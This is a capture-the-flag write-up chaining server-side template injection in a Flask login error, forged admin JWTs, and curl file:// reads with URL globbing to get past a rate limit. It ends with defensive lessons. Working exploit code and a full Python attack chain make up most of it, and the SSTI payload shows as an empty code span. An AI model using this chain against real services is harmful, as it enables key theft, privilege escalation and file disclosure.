Three Locks in a Row

Reaching the flag means clearing three gates, each feeding the next:

1. A Flask login endpoint whose error message is rendered as a template.
2. An admin-only API guarded by a JWT signed with a server-side random key.
3. That API runs curl on a user-supplied URL (an SSRF/LFI primitive), but rate-limited.

Stage 1: SSTI Leaks the JWT Key

On a failed login the server does:

return render_template_string(
    '{form_id} is not registered, or the password is incorrect.'.format(form_id=form_id))

The form_id is .format-substituted and then handed to render_template_string. So any Jinja in form_id is evaluated. The input filter only allows letters and braces and caps length:

if len(form_id) > 10:  return "Too Long"
elif len(form_id) < 3: return "Too Short"
elif not re.search(r"^[A-Za-z{}]*$", form_id): return "Blacklist Word"

`` is 8 chars of letters and braces, so it fits. Sending it dumps the entire Flask config, including the app’s JWTKey:

curl -X POST http://host/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data "id=&pw=guest"
# <Config { ... 'JWTKey': 'ynqdwjxGxJkJNjuLYtNPSOtjOnWDtcLyXUizjXkxSMgGGJTJZn' }> is not registered ...

Stage 2: Forge an Admin JWT

The auth cookie is a HS256 JWT of {'id': ..., 'isAdmin': ...} signed with that now-known JWTKey. With the key in hand, we mint our own admin token:

import jwt
token = jwt.encode({"id": "admin", "isAdmin": True}, JWTKey, algorithm="HS256")

Set as the auth cookie, this passes the decode_jwt['id'] == 'admin' and decode_jwt['isAdmin'] == True check on the protected routes.

Stage 3: curl SSRF/LFI Under a Rate Limit

The admin endpoint shells out to curl on our URL:

airport = request.args.get('airport')
result = subprocess.run(['curl', airport], shell=False, stdout=subprocess.PIPE, ...)
return result.stdout

shell=False blocks command injection, but curl speaks file://, so we get local file read. The flag lives at flag_XXXX.txt with a random 4-letter suffix, and the endpoint allows only 10 requests per 5 minutes. Brute-forcing filenames one request at a time is hopeless.

The trick: curl does its own globbing. A single URL with [a-z][a-z][a-z][a-z] expands to every 4-letter combination internally, so one request covers the whole keyspace:

params = {"airport": "file://localhost/deploy/flag_[a-z][a-z][a-z][a-z].txt"}
r = requests.get(domain + "/api/metar", params=params, cookies={"auth": token})
print(r.text)      # DH{REDACTED}

Full chain:

import requests, jwt, re

domain = "http://host/"

# 1) SSTI -> leak JWTKey
r = requests.post(domain + "login",
                  headers={"Content-Type": "application/x-www-form-urlencoded"},
                  data={"id": "", "pw": "guest"})
jwt_key = re.search(r"JWTKey': '([a-zA-Z0-9]+)", r.text).group(1)

# 2) forge admin token
token = jwt.encode({"id": "admin", "isAdmin": True}, jwt_key, algorithm="HS256")

# 3) curl file:// with glob to beat the rate limit in one shot
r = requests.get(domain + "api/metar",
                 params={"airport": "file://localhost/deploy/flag_[a-z][a-z][a-z][a-z].txt"},
                 cookies={"auth": token})
print(r.text)

Takeaways

Each gate was individually “small,” but they compose into full flag disclosure. The lessons: never build a template string from user input and pass it to render_template_string. That’s SSTI whether or not you meant it, and `` alone leaks secrets like signing keys. A JWT is only as safe as its key, and here the key was reachable through a different bug entirely. And curl as a fetch backend is more than HTTP. file:// turns it into arbitrary file read, while its built-in globbing quietly defeats request rate limits that assume one filename per request.